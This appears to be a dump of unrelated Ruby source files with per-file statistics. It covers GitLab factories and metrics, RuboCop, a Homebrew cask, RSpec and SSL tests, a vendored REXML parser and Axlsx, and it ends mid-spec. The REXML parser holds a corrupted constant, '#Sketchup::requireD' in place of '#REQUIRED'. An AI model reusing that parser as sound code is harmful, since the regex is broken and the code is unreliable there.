'http://redmine/projects/project_name_in_redmine/issues/new' } ) end end factory :jira_project, parent: :project do has_external_issue_tracker true jira_service end factory :kubernetes_project, parent: :empty_project do kubernetes_service end factory :prometheus_project, parent: :empty_project do after :create do |project| project.create_prometheus_service( active: true, properties: { api_url: 'https://prometheus.example.com' } ) end end end
32.799065
114
0.689984
1a2c97b10f6ac428a3ca904121cd1dc1eceb8183
85
Dummy::Application.routes.draw do mount JasperserverRails::Engine => '/jasper' end
21.25
46
0.764706
4a17353e08d4142f5573c190b9609d8c06ce1407
832
# frozen_string_literal: true require_dependency 'thredded/topic_view' module Thredded # A view model for a page of BaseTopicViews. class TopicsPageView delegate :to_ary, :blank?, :empty?, to: :@topic_views delegate :total_pages, :current_page, :limit_value, to: :@topics_page_scope # @param user [Thredded.user_class] the user who is viewing the posts page # @param topics_page_scope [ActiveRecord::Relation<Thredded::Topic>] def initialize(user, topics_page_scope) @topics_page_scope = topics_page_scope @topic_views = @topics_page_scope.with_read_and_follow_states(user).map do |(topic, read_state, follow)| TopicView.new(topic, read_state, follow, Pundit.policy!(user, topic)) end end end end
33.28
110
0.670673
01c3a1b2aba967a2e8be02a0dbc73a5c26035b31
368
module CompletedTransactionHelper def promote_organ_donor_registration? organ_donor_registration_attributes && organ_donor_registration_attributes['promote_organ_donor_registration'] end def organ_donor_registration_attributes @attributes ||= @publication.presentation_toggles && @publication.presentation_toggles['organ_donor_registration'] end end
36.8
118
0.847826
916da36a944f8d2e2d4b77a17b24f6fe0c510030
936
class OrdersBase def self.create(days, choices, offices) raise 'Days cannot be empty' if days.empty? raise 'Choices cannot be empty' if choices.empty? raise 'Offices cannot be empty' if offices.empty? offices << 'total' new(days, choices, offices) end def add(day, choice, office, quantity) return if choice == 'out' raise 'Invalid order' if @orders.dig(day.to_sym, choice.to_sym, office.to_sym).nil? @orders[day.to_sym][choice.to_sym][office.to_sym] = quantity @orders[day.to_sym][choice.to_sym][:total] += quantity end def to_hash @orders end private def initialize(days, choices, offices) offices_hash = Hash[offices.map { |office| [office.to_sym, 0] }] choices_hash = Hash[choices.map { |choice| [choice.to_sym, Marshal.load(Marshal.dump(offices_hash))] }] @orders = Hash[days.map { |day| [day.to_sym, Marshal.load(Marshal.dump(choices_hash))] }] end end
29.25
107
0.685897
f8f5e94fddfbdc6a586a8b01bd3f9dc2445ebf08
1,114
# encoding: utf-8 # frozen_string_literal: true module RuboCop module Cop # Common functionality for checking surrounding space. module SurroundingSpace def space_between?(t1, _t2) # Check if the range between the tokens starts with a space. It can # contain other characters, e.g. a unary plus, but it must start with # space. t1.pos.source_buffer.source.match(/\G\s/, t1.pos.end_pos) end def index_of_first_token(node) range = node.source_range token_table[range.line][range.column] end def index_of_last_token(node) range = node.source_range table_row = token_table[range.last_line] (0...range.last_column).reverse_each do |c| ix = table_row[c] return ix if ix end end def token_table @token_table ||= begin table = {} @processed_source.tokens.each_with_index do |t, ix| table[t.pos.line] ||= {} table[t.pos.line][t.pos.column] = ix end table end end end end end
26.52381
77
0.597846
33c00e21a7b738ec7dc24a4ce770a2eba0cc4bf3
758
cask "rekordbox" do version "6.0.3,20200713191837" sha256 "c7a071e51ba41cb2c512260aedab75d55819c6469723430c1ef4795c7d92f275" url "https://cdn.rekordbox.com/files/#{version.after_comma}/Install_rekordbox_#{version.before_comma.dots_to_underscores}.pkg_.zip" appcast "https://rekordbox.com/en/support/releasenote/" name "rekordbox" homepage "https://rekordbox.com/en/" auto_updates true depends_on macos: ">= :high_sierra" pkg "Install_rekordbox_#{version.before_comma.dots_to_underscores}.pkg" uninstall pkgutil: "com.pioneer.rekordbox.#{version.major}.*", delete: "/Applications/rekordbox #{version.major}" zap trash: [ "~/Library/Application Support/Pioneer/rekordbox", "~/Library/Pioneer/rekordbox", ] end
32.956522
133
0.748021
4a61093b97b8221aa56c44d612a6454c0d90f68f
848
module Cartograph class Artist attr_reader :object, :map def initialize(object, map) @object = object @map = map end def properties map.properties end def draw(scope = nil) if map.cache cache_key = map.cache_key.call(object, scope) map.cache.fetch(cache_key) { build_properties(scope) } else build_properties(scope) end end def build_properties(scope) scoped_properties = scope ? properties.filter_by_scope(scope) : properties scoped_properties.each_with_object({}) do |property, mapped| begin mapped[property.key] = property.value_for(object, scope) rescue NoMethodError raise ArgumentError, "#{object} does not respond to #{property.name}, so we can't map it" end end end end end
24.228571
99
0.634434
bbf4a4f6efe6ba5ac92dca8e4697c10dab5edb4a
3,057
# This file is copied to spec/ when you run 'rails generate rspec:install' ENV['RAILS_ENV'] ||= 'test' require 'simplecov' SimpleCov.start 'rails' require 'spec_helper' require File.expand_path('../dummy/config/environment.rb', __FILE__) require 'rspec/rails' # Add additional requires below this line. Rails is not loaded until this point! require 'database_cleaner' require 'factory_girl_rails' require 'stripe_mock' # Requires supporting ruby files with custom matchers and macros, etc, in # spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are # run as spec files by default. This means that files in spec/support that end # in _spec.rb will both be required and run as specs, causing the specs to be # run twice. It is recommended that you do not name files matching this glob to # end with _spec.rb. You can configure this pattern with the --pattern # option on the command line or in ~/.rspec, .rspec or `.rspec-local`. # # The following line is provided for convenience purposes. It has the downside # of increasing the boot-up time by auto-requiring all files in the support # directory. Alternatively, in the individual `*_spec.rb` files, manually # require only the support files necessary. # # Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f } # Checks for pending migrations before tests are run. # If you are not using ActiveRecord, you can remove this line. # ActiveRecord::Migration.maintain_test_schema! RSpec.configure do |config| # Remove this line if you're not using ActiveRecord or ActiveRecord fixtures # config.fixture_path = "#{::Rails.root}/spec/fixtures" # If you're not using ActiveRecord, or you'd prefer not to run each of your # examples within a transaction, remove the following line or assign false # instead of true. config.use_transactional_fixtures = true # RSpec Rails can automatically mix in different behaviours to your tests # based on their file location, for example enabling you to call `get` and # `post` in specs under `spec/controllers`. # # You can disable this behaviour by removing the line below, and instead # explicitly tag your specs with their type, e.g.: # # RSpec.describe UsersController, :type => :controller do # # ... # end # # The different available types are documented in the features, such as in # https://relishapp.com/rspec/rspec-rails/docs config.infer_spec_type_from_file_location! # Clear the active job queue after every test # config.after(:each) do ActiveJob::Base.queue_adapter.enqueued_jobs = [] ActiveJob::Base.queue_adapter.performed_jobs = [] end # Use StripeMock to simulate Stripe API calls # config.before(:each) do StripeMock.start end config.after(:each) do StripeMock.stop end # Clean the test database config.before(:suite) do DatabaseCleaner.strategy = :transaction DatabaseCleaner.clean_with(:truncation) end config.around(:each) do |example| DatabaseCleaner.cleaning do example.run end end end
36.392857
80
0.738633
6af453997182130d78bdb4bd358468f54fa041a3
1,729
require 'test_helper' module Coinmarketcap module Api module Config class LoggerTest < Minitest::Test def setup CoinMarketCap::Api.logger.reset! end def test_default_values_are_set assert_nil CoinMarketCap::Api.logger.instance assert_equal CoinMarketCap::Api.logger.options, {} assert_nil CoinMarketCap::Api.logger.proc end def test_logger_can_be_set_directly setup_logger assert_nil CoinMarketCap::Api.logger.instance CoinMarketCap::Api.logger = @logger assert_equal @logger, CoinMarketCap::Api.logger.instance end def test_logger_config_can_be_set_directly setup_logger CoinMarketCap::Api.logger.instance = @logger CoinMarketCap::Api.logger.options = @opts CoinMarketCap::Api.logger.proc = @proc_arg assert_equal @logger, CoinMarketCap::Api.logger.instance assert_equal @opts, CoinMarketCap::Api.logger.options assert_equal @proc_arg, CoinMarketCap::Api.logger.proc end def test_logger_config_can_be_set_via_block setup_logger CoinMarketCap::Api.logger do |logger| logger.instance = @logger logger.options = @opts logger.proc = @proc_arg end assert_equal @logger, CoinMarketCap::Api.logger.instance assert_equal @opts, CoinMarketCap::Api.logger.options assert_equal @proc_arg, CoinMarketCap::Api.logger.proc end def setup_logger @logger = Logger.new(STDOUT) @opts = { bodies: true } @proc_arg = proc {} end end end end end
30.333333
66
0.634471
39392d94a67fbc779a7c82880839713a5f66157d
2,805
# frozen_string_literal: true require 'spec_helper' require 'rspec/webservice_matchers' describe 'SSL tests' do before(:each) { WebMock.allow_net_connect! } after(:each) { WebMock.disable_net_connect! } describe 'have_a_valid_cert matcher' do it 'passes when SSL is properly configured' do # EFF created the HTTPS Everywhere movement # TODO: set up a test server for this. (?) expect('www.eff.org').to have_a_valid_cert end it 'fails if the server is not serving SSL at all' do expect do expect('neverssl.com').to have_a_valid_cert end.to fail_matching(/Unable to verify/) end it 'provides a relevant error message' do expect do expect('neverssl.com').to have_a_valid_cert end.to fail_matching(/(unreachable)|(no route to host)|(connection refused)|(redirect was detected)/i) end xit "provides a relevant error message when the domain name doesn't exist" do expect do expect('sdfgkljhsdfghjkhsdfgj.edu').to have_a_valid_cert end.to fail_matching(/not known/i) end xit "provides a good error message when it's a redirect" do expect do # Can't figure out how to do this with WebMock. expect('bloc.io').to have_a_valid_cert end.to fail_matching(/redirect/i) end # TODO: Find a good way to test this. xit 'provides a good error message if the request times out' do expect { expect('www.myapp.com').to have_a_valid_cert }.to fail_matching(/(timeout)|(execution expired)/) end end # See https://www.eff.org/https-everywhere describe 'enforce_https_everywhere' do it 'passes when http requests are redirected to valid https urls' do expect('www.eff.org').to enforce_https_everywhere end it 'passes when given an https url' do expect('https://www.eff.org').to enforce_https_everywhere end it 'passes when given an http url' do expect('http://www.eff.org').to enforce_https_everywhere end it 'provides a relevant error code' do expect do expect('neverssl.com').to enforce_https_everywhere end.to fail_matching(/200/) end it 'provides a relevant error code with https url' do expect do expect('https://neverssl.com').to enforce_https_everywhere end.to fail_matching(/200/) end it 'provides a relevant error code with http url' do expect do expect('http://neverssl.com').to enforce_https_everywhere end.to fail_matching(/200/) end # it "provides a relevant error message when the domain name doesn't exist" do # expect do # expect('asdhfjkalsdhfjklasdfhjkasdhfl.com').to enforce_https_everywhere # end.to fail_matching(/connection failed/i) # end end end
31.875
108
0.682353
d5b4c5a872672695853865c0ef88683dec5fd6c5
919
# frozen_string_literal: true require 'rails/engine' module Cherrystone class << self def configure yield Engine.config end end class Engine < ::Rails::Engine config.custom_node_class_lookup = nil config.default_node_class = 'Cherrystone::Node::Base' config.enhance_exceptions = true config.inheritable_options = [:edit] config.raise_on_duplicate_root_nodes = true config.renderer = nil isolate_namespace Cherrystone config.after_initialize do # # Create root DSL methods # Cherrystone::ViewHelper.cherrystone_helper( collection_table: Cherrystone::Node::CollectionTable, detail_view: Cherrystone::Node::DetailView, custom_form: Cherrystone::Node::CustomForm ) ActiveSupport.run_load_hooks :cherrystone Cherrystone::DslCaller.enhance_exceptions if config.enhance_exceptions end end end
22.975
76
0.712731
01b86e2e505aa29e891db66160a53ac7684cb8ac
1,104
class PreviousGasConsumptionsController < ApplicationController before_action :set_consumer before_action :detect_invalid_user rescue_from ActiveRecord::RecordNotFound, with: :denied_action load_and_authorize_resource def index @previous_gas_consumptions = @consumer.previous_gas_consumption.all.order(date: :desc) @certificate = @consumer.gas_certificate end private def set_consumer @consumer = Consumer.find(params[:consumer_id]) @manager = User.find_by(name: @consumer.manager_gas_username) @client = User.find_by(name: @consumer.client_username) end def detect_invalid_user unless current_user.admin_role? if current_user.manager_role? denied_action if @consumer.manager_gas_username != current_user.name else consumers = @consumer.users.map{|n| n.name} consumers << @consumer.client_username denied_action unless consumers.include?(current_user.name) end end end def denied_action redirect_to :consumers, alert: "Спроба отримати доступ до споживача, що Вам не належить або не існує" end end
30.666667
105
0.757246
b90f4d362d3d47fa442bcd6375b027f41079d1c6
17,541
Sketchup::require 'geores_src/geores_import/geores_rexml/parseexception.rb' Sketchup::require 'geores_src/geores_import/geores_rexml/source.rb' module REXML module Parsers # = Using the Pull Parser # <em>This API is experimental, and subject to change.</em> # parser = PullParser.new( "<a>text<b att='val'/>txet</a>" ) # while parser.has_next? # res = parser.next # puts res[1]['att'] if res.start_tag? and res[0] == 'b' # end # See the PullEvent class for information on the content of the results. # The data is identical to the arguments passed for the various events to # the StreamListener API. # # Notice that: # parser = PullParser.new( "<a>BAD DOCUMENT" ) # while parser.has_next? # res = parser.next # raise res[1] if res.error? # end # # Nat Price gave me some good ideas for the API. class BaseParser NCNAME_STR= '[\w:][\-\w\d.]*' NAME_STR= "(?:#{NCNAME_STR}:)?#{NCNAME_STR}" NAMECHAR = '[\-\w\d\.:]' NAME = "([\\w:]#{NAMECHAR}*)" NMTOKEN = "(?:#{NAMECHAR})+" NMTOKENS = "#{NMTOKEN}(\\s+#{NMTOKEN})*" REFERENCE = "(?:&#{NAME};|&#\\d+;|&#x[0-9a-fA-F]+;)" REFERENCE_RE = /#{REFERENCE}/ DOCTYPE_START = /\A\s*<!DOCTYPE\s/um DOCTYPE_PATTERN = /\s*<!DOCTYPE\s+(.*?)(\[|>)/um ATTRIBUTE_PATTERN = /\s*(#{NAME_STR})\s*=\s*(["'])(.*?)\2/um COMMENT_START = /\A<!--/u COMMENT_PATTERN = /<!--(.*?)-->/um CDATA_START = /\A<!\[CDATA\[/u CDATA_END = /^\s*\]\s*>/um CDATA_PATTERN = /<!\[CDATA\[(.*?)\]\]>/um XMLDECL_START = /\A<\?xml\s/u; XMLDECL_PATTERN = /<\?xml\s+(.*?)\?>/um INSTRUCTION_START = /\A<\?/u INSTRUCTION_PATTERN = /<\?(.*?)(\s+.*?)?\?>/um TAG_MATCH = /^<((?>#{NAME_STR}))\s*((?>\s+#{NAME_STR}\s*=\s*(["']).*?\3)*)\s*(\/)?>/um CLOSE_MATCH = /^\s*<\/(#{NAME_STR})\s*>/um VERSION = /\bversion\s*=\s*["'](.*?)['"]/um ENCODING = /\bencoding\s*=\s*["'](.*?)['"]/um STANDALONE = /\bstandalone\s*=\s["'](.*?)['"]/um ENTITY_START = /^\s*<!ENTITY/ IDENTITY = /^([!\*\w\-]+)(\s+#{NCNAME_STR})?(\s+["'](.*?)['"])?(\s+['"](.*?)["'])?/u ELEMENTDECL_START = /^\s*<!ELEMENT/um ELEMENTDECL_PATTERN = /^\s*(<!ELEMENT.*?)>/um SYSTEMENTITY = /^\s*(%.*?;)\s*$/um ENUMERATION = "\\(\\s*#{NMTOKEN}(?:\\s*\\|\\s*#{NMTOKEN})*\\s*\\)" NOTATIONTYPE = "NOTATION\\s+\\(\\s*#{NAME}(?:\\s*\\|\\s*#{NAME})*\\s*\\)" ENUMERATEDTYPE = "(?:(?:#{NOTATIONTYPE})|(?:#{ENUMERATION}))" ATTTYPE = "(CDATA|ID|IDREF|IDREFS|ENTITY|ENTITIES|NMTOKEN|NMTOKENS|#{ENUMERATEDTYPE})" ATTVALUE = "(?:\"((?:[^<&\"]|#{REFERENCE})*)\")|(?:'((?:[^<&']|#{REFERENCE})*)')" DEFAULTDECL = "(#Sketchup::requireD|#IMPLIED|(?:(#FIXED\\s+)?#{ATTVALUE}))" ATTDEF = "\\s+#{NAME}\\s+#{ATTTYPE}\\s+#{DEFAULTDECL}" ATTDEF_RE = /#{ATTDEF}/ ATTLISTDECL_START = /^\s*<!ATTLIST/um ATTLISTDECL_PATTERN = /^\s*<!ATTLIST\s+#{NAME}(?:#{ATTDEF})*\s*>/um NOTATIONDECL_START = /^\s*<!NOTATION/um PUBLIC = /^\s*<!NOTATION\s+(\w[\-\w]*)\s+(PUBLIC)\s+(["'])(.*?)\3(?:\s+(["'])(.*?)\5)?\s*>/um SYSTEM = /^\s*<!NOTATION\s+(\w[\-\w]*)\s+(SYSTEM)\s+(["'])(.*?)\3\s*>/um TEXT_PATTERN = /\A([^<]*)/um # Entity constants PUBIDCHAR = "\x20\x0D\x0Aa-zA-Z0-9\\-()+,./:=?;!*@$_%#" SYSTEMLITERAL = %Q{((?:"[^"]*")|(?:'[^']*'))} PUBIDLITERAL = %Q{("[#{PUBIDCHAR}']*"|'[#{PUBIDCHAR}]*')} EXTERNALID = "(?:(?:(SYSTEM)\\s+#{SYSTEMLITERAL})|(?:(PUBLIC)\\s+#{PUBIDLITERAL}\\s+#{SYSTEMLITERAL}))" NDATADECL = "\\s+NDATA\\s+#{NAME}" PEREFERENCE = "%#{NAME};" ENTITYVALUE = %Q{((?:"(?:[^%&"]|#{PEREFERENCE}|#{REFERENCE})*")|(?:'([^%&']|#{PEREFERENCE}|#{REFERENCE})*'))} PEDEF = "(?:#{ENTITYVALUE}|#{EXTERNALID})" ENTITYDEF = "(?:#{ENTITYVALUE}|(?:#{EXTERNALID}(#{NDATADECL})?))" PEDECL = "<!ENTITY\\s+(%)\\s+#{NAME}\\s+#{PEDEF}\\s*>" GEDECL = "<!ENTITY\\s+#{NAME}\\s+#{ENTITYDEF}\\s*>" ENTITYDECL = /\s*(?:#{GEDECL})|(?:#{PEDECL})/um EREFERENCE = /&(?!#{NAME};)/ DEFAULT_ENTITIES = { 'gt' => [/&gt;/, '&gt;', '>', />/], 'lt' => [/&lt;/, '&lt;', '<', /</], 'quot' => [/&quot;/, '&quot;', '"', /"/], "apos" => [/&apos;/, "&apos;", "'", /'/] } ###################################################################### # These are patterns to identify common markup errors, to make the # error messages more informative. ###################################################################### MISSING_ATTRIBUTE_QUOTES = /^<#{NAME_STR}\s+#{NAME_STR}\s*=\s*[^"']/um def initialize( source ) self.stream = source end def add_listener( listener ) if !defined?(@listeners) or !@listeners @listeners = [] instance_eval <<-EOL alias :_old_pull :pull def pull event = _old_pull @listeners.each do |listener| listener.receive event end event end EOL end @listeners << listener end attr_reader :source def stream=( source ) @source = SourceFactory.create_from( source ) @closed = nil @document_status = nil @tags = [] @stack = [] @entities = [] end def position if @source.respond_to? :position @source.position else # FIXME 0 end end # Returns true if there are no more events def empty? return (@source.empty? and @stack.empty?) end # Returns true if there are more events. Synonymous with !empty? def has_next? return !(@source.empty? and @stack.empty?) end # Push an event back on the head of the stream. This method # has (theoretically) infinite depth. def unshift token @stack.unshift(token) end # Peek at the +depth+ event in the stack. The first element on the stack # is at depth 0. If +depth+ is -1, will parse to the end of the input # stream and return the last event, which is always :end_document. # Be aware that this causes the stream to be parsed up to the +depth+ # event, so you can effectively pre-parse the entire document (pull the # entire thing into memory) using this method. def peek depth=0 raise %Q[Illegal argument "#{depth}"] if depth < -1 temp = [] if depth == -1 temp.push(pull()) until empty? else while @stack.size+temp.size < depth+1 temp.push(pull()) end end @stack += temp if temp.size > 0 @stack[depth] end # Returns the next event. This is a +PullEvent+ object. def pull if @closed x, @closed = @closed, nil return [ :end_element, x ] end return [ :end_document ] if empty? return @stack.shift if @stack.size > 0 @source.read if @source.buffer.size<2 #STDERR.puts "BUFFER = #{@source.buffer.inspect}" if @document_status == nil #@source.consume( /^\s*/um ) word = @source.match( /^((?:\s+)|(?:<[^>]*>))/um ) word = word[1] unless word.nil? #STDERR.puts "WORD = #{word.inspect}" case word when COMMENT_START return [ :comment, @source.match( COMMENT_PATTERN, true )[1] ] when XMLDECL_START #STDERR.puts "XMLDECL" results = @source.match( XMLDECL_PATTERN, true )[1] version = VERSION.match( results ) version = version[1] unless version.nil? encoding = ENCODING.match(results) encoding = encoding[1] unless encoding.nil? encoding = 'UTF-8' @source.encoding = encoding standalone = STANDALONE.match(results) standalone = standalone[1] unless standalone.nil? return [ :xmldecl, version, encoding, standalone ] when INSTRUCTION_START return [ :processing_instruction, *@source.match(INSTRUCTION_PATTERN, true)[1,2] ] when DOCTYPE_START md = @source.match( DOCTYPE_PATTERN, true ) identity = md[1] close = md[2] identity =~ IDENTITY name = $1 raise REXML::ParseException.new("DOCTYPE is missing a name") if name.nil? pub_sys = $2.nil? ? nil : $2.strip long_name = $4.nil? ? nil : $4.strip uri = $6.nil? ? nil : $6.strip args = [ :start_doctype, name, pub_sys, long_name, uri ] if close == ">" @document_status = :after_doctype @source.read if @source.buffer.size<2 md = @source.match(/^\s*/um, true) @stack << [ :end_doctype ] else @document_status = :in_doctype end return args when /^\s+/ else @document_status = :after_doctype @source.read if @source.buffer.size<2 md = @source.match(/\s*/um, true) end end if @document_status == :in_doctype md = @source.match(/\s*(.*?>)/um) case md[1] when SYSTEMENTITY match = @source.match( SYSTEMENTITY, true )[1] return [ :externalentity, match ] when ELEMENTDECL_START return [ :elementdecl, @source.match( ELEMENTDECL_PATTERN, true )[1] ] when ENTITY_START match = @source.match( ENTITYDECL, true ).to_a.compact match[0] = :entitydecl ref = false if match[1] == '%' ref = true match.delete_at 1 end # Now we have to sort out what kind of entity reference this is if match[2] == 'SYSTEM' # External reference match[3] = match[3][1..-2] # PUBID match.delete_at(4) if match.size > 4 # Chop out NDATA decl # match is [ :entity, name, SYSTEM, pubid(, ndata)? ] elsif match[2] == 'PUBLIC' # External reference match[3] = match[3][1..-2] # PUBID match[4] = match[4][1..-2] # HREF # match is [ :entity, name, PUBLIC, pubid, href ] else match[2] = match[2][1..-2] match.pop if match.size == 4 # match is [ :entity, name, value ] end match << '%' if ref return match when ATTLISTDECL_START md = @source.match( ATTLISTDECL_PATTERN, true ) raise REXML::ParseException.new( "Bad ATTLIST declaration!", @source ) if md.nil? element = md[1] contents = md[0] pairs = {} values = md[0].scan( ATTDEF_RE ) values.each do |attdef| unless attdef[3] == "#IMPLIED" attdef.compact! val = attdef[3] val = attdef[4] if val == "#FIXED " pairs[attdef[0]] = val end end return [ :attlistdecl, element, pairs, contents ] when NOTATIONDECL_START md = nil if @source.match( PUBLIC ) md = @source.match( PUBLIC, true ) vals = [md[1],md[2],md[4],md[6]] elsif @source.match( SYSTEM ) md = @source.match( SYSTEM, true ) vals = [md[1],md[2],nil,md[4]] else raise REXML::ParseException.new( "error parsing notation: no matching pattern", @source ) end return [ :notationdecl, *vals ] when CDATA_END @document_status = :after_doctype @source.match( CDATA_END, true ) return [ :end_doctype ] end end # begin if @source.buffer[0] == ?< if @source.buffer[1] == ?/ last_tag = @tags.pop #md = @source.match_to_consume( '>', CLOSE_MATCH) md = @source.match( CLOSE_MATCH, true ) raise REXML::ParseException.new( "Missing end tag for "+ "'#{last_tag}' (got \"#{md[1]}\")", @source) unless last_tag == md[1] return [ :end_element, last_tag ] elsif @source.buffer[1] == ?! md = @source.match(/\A(\s*[^>]*>)/um) #STDERR.puts "SOURCE BUFFER = #{source.buffer}, #{source.buffer.size}" raise REXML::ParseException.new("Malformed node", @source) unless md if md[0][2] == ?- md = @source.match( COMMENT_PATTERN, true ) return [ :comment, md[1] ] if md else md = @source.match( CDATA_PATTERN, true ) return [ :cdata, md[1] ] if md end raise REXML::ParseException.new( "Declarations can only occur "+ "in the doctype declaration.", @source) elsif @source.buffer[1] == ?? md = @source.match( INSTRUCTION_PATTERN, true ) return [ :processing_instruction, md[1], md[2] ] if md raise REXML::ParseException.new( "Bad instruction declaration", @source) else # Get the next tag md = @source.match(TAG_MATCH, true) unless md # Check for missing attribute quotes raise REXML::ParseException.new("missing attribute quote", @source) if @source.match(MISSING_ATTRIBUTE_QUOTES ) raise REXML::ParseException.new("malformed XML: missing tag start", @source) end attrs = [] if md[2].size > 0 attrs = md[2].scan( ATTRIBUTE_PATTERN ) raise REXML::ParseException.new( "error parsing attributes: [#{attrs.join ', '}], excess = \"#$'\"", @source) if $' and $'.strip.size > 0 end if md[4] @closed = md[1] else @tags.push( md[1] ) end attributes = {} attrs.each { |a,b,c| attributes[a] = c } return [ :start_element, md[1], attributes ] end else md = @source.match( TEXT_PATTERN, true ) if md[0].length == 0 @source.match( /(\s+)/, true ) end #STDERR.puts "GOT #{md[1].inspect}" unless md[0].length == 0 #return [ :text, "" ] if md[0].length == 0 # unnormalized = Text::unnormalize( md[1], self ) # return PullEvent.new( :text, md[1], unnormalized ) return [ :text, md[1] ] end # rescue REXML::ParseException # raise # rescue Exception, NameError => error # raise REXML::ParseException.new( "Exception parsing", # @source, self, (error ? error : $!) ) # end return [ :dummy ] end def entity( reference, entities ) value = nil value = entities[ reference ] if entities if not value value = DEFAULT_ENTITIES[ reference ] value = value[2] if value end unnormalize( value, entities ) if value end # Escapes all possible entities def normalize( input, entities=nil, entity_filter=nil ) copy = input.clone # Doing it like this rather than in a loop improves the speed copy.gsub!( EREFERENCE, '&amp;' ) entities.each do |key, value| copy.gsub!( value, "&#{key};" ) unless entity_filter and entity_filter.include?(entity) end if entities copy.gsub!( EREFERENCE, '&amp;' ) DEFAULT_ENTITIES.each do |key, value| copy.gsub!( value[3], value[1] ) end copy end # Unescapes all possible entities def unnormalize( string, entities=nil, filter=nil ) rv = string.clone rv.gsub!( /\r\n?/, "\n" ) matches = rv.scan( REFERENCE_RE ) return rv if matches.size == 0 rv.gsub!( /&#0*((?:\d+)|(?:x[a-fA-F0-9]+));/ ) {|m| m=$1 m = "0#{m}" if m[0] == ?x [Integer(m)].pack('U*') } matches.collect!{|x|x[0]}.compact! if matches.size > 0 matches.each do |entity_reference| unless filter and filter.include?(entity_reference) entity_value = entity( entity_reference, entities ) if entity_value re = /&#{entity_reference};/ rv.gsub!( re, entity_value ) end end end matches.each do |entity_reference| unless filter and filter.include?(entity_reference) er = DEFAULT_ENTITIES[entity_reference] rv.gsub!( er[0], er[2] ) if er end end rv.gsub!( /&amp;/, '&' ) end rv end end end end =begin case event[0] when :start_element when :text when :end_element when :processing_instruction when :cdata when :comment when :xmldecl when :start_doctype when :end_doctype when :externalentity when :elementdecl when :entity when :attlistdecl when :notationdecl when :end_doctype end =end
37.722581
153
0.501226
39358a6c7fa0625c97623ddd0b66bba8de819f8f
1,260
module Axlsx # a vml drawing used for comments in excel. class VmlDrawing # creates a new Vml Drawing object. # @param [Comments] comments the comments object this drawing is associated with def initialize(comments) raise ArgumentError, "you must provide a comments object" unless comments.is_a?(Comments) @comments = comments end # The part name for this vml drawing # @return [String] def pn "#{VML_DRAWING_PN}" % (@comments.worksheet.index + 1) end # serialize the vml_drawing to xml. # @param [String] str # @return [String] def to_xml_string(str = '') str = <<BAD_PROGRAMMER <xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel"> <o:shapelayout v:ext="edit"> <o:idmap v:ext="edit" data="#{@comments.worksheet.index+1}"/> </o:shapelayout> <v:shapetype id="_x0000_t202" coordsize="21600,21600" o:spt="202" path="m0,0l0,21600,21600,21600,21600,0xe"> <v:stroke joinstyle="miter"/> <v:path gradientshapeok="t" o:connecttype="rect"/> </v:shapetype> BAD_PROGRAMMER @comments.each { |comment| comment.vml_shape.to_xml_string str } str << "</xml>" end end end
29.302326
95
0.677778
111aa2cab480cd9d749138f2f6d427eb5838cb7e
2,177
# frozen_string_literal: true module Gitlab module Metrics module Subscribers # Class for tracking the total query duration of a transaction. class ActiveRecord < ActiveSupport::Subscriber attach_to :active_record IGNORABLE_SQL = %w{BEGIN COMMIT}.freeze DB_COUNTERS = %i{db_count db_write_count db_cached_count}.freeze SQL_COMMANDS_WITH_COMMENTS_REGEX = /\A(\/\*.*\*\/\s)?((?!(.*[^\w'"](DELETE|UPDATE|INSERT INTO)[^\w'"])))(WITH.*)?(SELECT)((?!(FOR UPDATE|FOR SHARE)).)*$/i.freeze def sql(event) # Mark this thread as requiring a database connection. This is used # by the Gitlab::Metrics::Samplers::ThreadsSampler to count threads # using a connection. Thread.current[:uses_db_connection] = true payload = event.payload return if payload[:name] == 'SCHEMA' || IGNORABLE_SQL.include?(payload[:sql]) increment_db_counters(payload) current_transaction&.observe(:gitlab_sql_duration_seconds, event.duration / 1000.0) do buckets [0.05, 0.1, 0.25] end end def self.db_counter_payload return {} unless Gitlab::SafeRequestStore.active? DB_COUNTERS.map do |counter| [counter, Gitlab::SafeRequestStore[counter].to_i] end.to_h end private def select_sql_command?(payload) payload[:sql].match(SQL_COMMANDS_WITH_COMMENTS_REGEX) end def increment_db_counters(payload) increment(:db_count) if payload.fetch(:cached, payload[:name] == 'CACHE') increment(:db_cached_count) end increment(:db_write_count) unless select_sql_command?(payload) end def increment(counter) current_transaction&.increment("gitlab_transaction_#{counter}_total".to_sym, 1) if Gitlab::SafeRequestStore.active? Gitlab::SafeRequestStore[counter] = Gitlab::SafeRequestStore[counter].to_i + 1 end end def current_transaction ::Gitlab::Metrics::Transaction.current end end end end end
31.550725
169
0.628388
87114d44bce57ada540a6698c1f693082f92cd6a
3,160
# frozen_string_literal: true require 'spec_helper' describe Projects::Serverless::FunctionsController do include KubernetesHelpers include ReactiveCachingHelpers let(:user) { create(:user) } let(:cluster) { create(:cluster, :project, :provided_by_gcp) } let(:knative) { create(:clusters_applications_knative, :installed, cluster: cluster) } let(:service) { cluster.platform_kubernetes } let(:project) { cluster.project} let(:namespace) do create(:cluster_kubernetes_namespace, cluster: cluster, cluster_project: cluster.cluster_project, project: cluster.cluster_project.project) end before do project.add_maintainer(user) sign_in(user) end def params(opts = {}) opts.reverse_merge(namespace_id: project.namespace.to_param, project_id: project.to_param) end describe 'GET #index' do context 'empty cache' do it 'has no data' do get :index, params: params({ format: :json }) expect(response).to have_gitlab_http_status(204) end it 'renders an html page' do get :index, params: params expect(response).to have_gitlab_http_status(200) end end end describe 'GET #show' do context 'invalid data' do it 'has a bad function name' do get :show, params: params({ format: :json, environment_id: "*", id: "foo" }) expect(response).to have_gitlab_http_status(404) end end context 'valid data', :use_clean_rails_memory_store_caching do before do stub_kubeclient_service_pods stub_reactive_cache(knative, { services: kube_knative_services_body(namespace: namespace.namespace, name: cluster.project.name)["items"], pods: kube_knative_pods_body(cluster.project.name, namespace.namespace)["items"] }) end it 'has a valid function name' do get :show, params: params({ format: :json, environment_id: "*", id: cluster.project.name }) expect(response).to have_gitlab_http_status(200) expect(json_response).to include( "name" => project.name, "url" => "http://#{project.name}.#{namespace.namespace}.example.com", "podcount" => 1 ) end end end describe 'GET #index with data', :use_clean_rails_memory_store_caching do before do stub_kubeclient_service_pods stub_reactive_cache(knative, { services: kube_knative_services_body(namespace: namespace.namespace, name: cluster.project.name)["items"], pods: kube_knative_pods_body(cluster.project.name, namespace.namespace)["items"] }) end it 'has data' do get :index, params: params({ format: :json }) 